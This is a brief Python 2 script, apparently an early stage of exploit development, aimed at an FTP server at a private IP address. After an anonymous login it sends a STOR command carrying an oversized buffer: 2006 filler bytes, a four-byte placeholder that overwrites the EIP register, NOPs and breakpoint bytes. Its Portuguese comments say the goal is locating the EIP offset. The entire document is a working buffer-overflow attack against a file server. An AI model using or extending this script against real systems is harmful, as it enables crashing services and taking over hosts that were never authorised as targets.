#!/usr/bin/python
import socket

junk="\x41"*2006
eip="\x42"*4
nops="\x90"*8
rest="\xcc"*(3000-len(junk+eip+nops))
print len(rest)
lixo=junk+eip+nops+rest
print len(lixo)
print "Connecting"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.2.144',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
print "A enviar lixo para definir onde se encontra inicio e fim do EIP"
s.send('STOR ' + lixo + '\r\n')
print "Lixo enviado"
s.close()
